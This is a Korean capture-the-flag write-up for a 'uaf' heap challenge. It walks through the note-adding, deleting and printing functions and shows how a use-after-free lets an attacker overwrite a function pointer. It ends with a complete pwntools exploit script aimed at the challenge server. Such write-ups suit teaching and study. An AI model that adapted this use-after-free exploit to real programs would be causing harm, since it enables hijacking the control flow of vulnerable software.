.
.
.
.
.
보호기법
실행
실행시 노트 추가, 삭제, 출력을 할 수 있는 메뉴가 보이게 된다.
문제 이름 자체가 uaf이니 추가, 삭제, 출력을 통해서 heap을 할당, 해제, 출력을 하는 기능을
가지고 있는 것을 예상을 할 수가 있다.
코드분석
main에서 add_note,del_note,print_note 함수를 메뉴에 맞게 실행 시켜준다.
1번부터 차례대로 확인해보자.
add_note
add_note를 하면 두개의 malloc을 통해서 heap을 할당을 해준다.
첫번째로 notelist+i에 할당을 하고 그곳에 print_note_content를 넣어준다.
두번째로는 size를 입력을 받아서 (notelist+i)+4에 할당을 해준다.
추가로 *(notelist+i)+1에 size만큼 내용을 사용자로부터 입력을 받는다.
실제로 할당된 데이터를 확인을 해보면,
notelist+i를 할당을 한 뒤 notelist+i에 print_note_content(0x0804865b)를 넣어주고,
(notelist+i)+4에 heap을 할당을 해주고 *(notelist+i)+1에 사용자로부터 받은 입력값을 넣어준다.
정리를 해보자면 할당받은 첫번째 힙에는 print_note_content, 입력받은 값을 가리키는 포인터
두번째 힙에는 입력받은 데이터들이 저장이 되어있다.
del_note
Index값을 입력을 받아 해제하고 싶은 heap을 해제를 시킨다.
처음으로는 사용자가 입력한 값이 들어있는 두번째 heap을 해제를 하고,
두번째로는 print_note_content와 함수포인터가 저장된 첫번째 heap을 해제를 한다.
print_note
Index값을 입력을 받아 사용자가 저장한 데이터를 출력해준다.
notelist+v1인 print_note_content를 통해서 함수를 실행을 시키는데,
notelsit+v1을 공격자가 원하는 주소로 덮어버리면 흐름을 공격자가 원하는데로 이끌수 있다.
함수를 모두 분석했으니 메모리를 확인을 해보자.
아래는 1번 메뉴를 두번 실행을 시킨 후 메모리 상태이다.
확인을 해보면 4개의 heap이 할당이 잘 되어있다.
이번에는 1번째 인덱스의 첫번째 free 이후 상태이다.
사용자의 입력값이 들어있는 두번째 heap이 먼저 해제가 된 것을 알 수가 있다.
그다음은 두번째 free 이후 상태이다.
print_note_content와 포인터가 들어있던 heap이 해제가 되고,
fd가 들어간 것을 확인을 할 수가 있다.
어떻게 진행되는지 확인을 했으니, 일단은 나머지 heap들에 대한 free를 진행시켜주겠다.
그다음으로 0x11보다 큰 0x21의 heap을 할당을 해봤다.
0x21은 binlist에 있는 0x11의 bin만 존재를 해서 재할당을 받지를 못하고
새로 할당을 받아야한다.
아래 메모리를 확인을 해보면 0x21인 메모리는 할당을 새로 받았지만,
print_note_content와 포인터가 들어있는 heap은 0x11이므로 재할당을 받은 것을 확인을 할 수가 있다.
이런 식으로 재할당을 받다보면 한 칸씩 밀려서 print_note_content가 들어있는 주소를
공격자가 원하는 주소로 변경이 가능하다.
.
.
.
.
#!/usr/bin/python
from pwn import *
#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz',3020)
e = ELF('./uaf')
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("10")
p.recvuntil(":")
p.sendline("aaaa")
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("10")
p.recvuntil(":")
p.sendline("bbbb")
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline("0")
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("16")
p.recvuntil(":")
p.sendline("aaaa")
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline("10")
p.recvuntil(":")
p.sendline(p32(e.symbols['magic']))
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline("0")
p.interactive()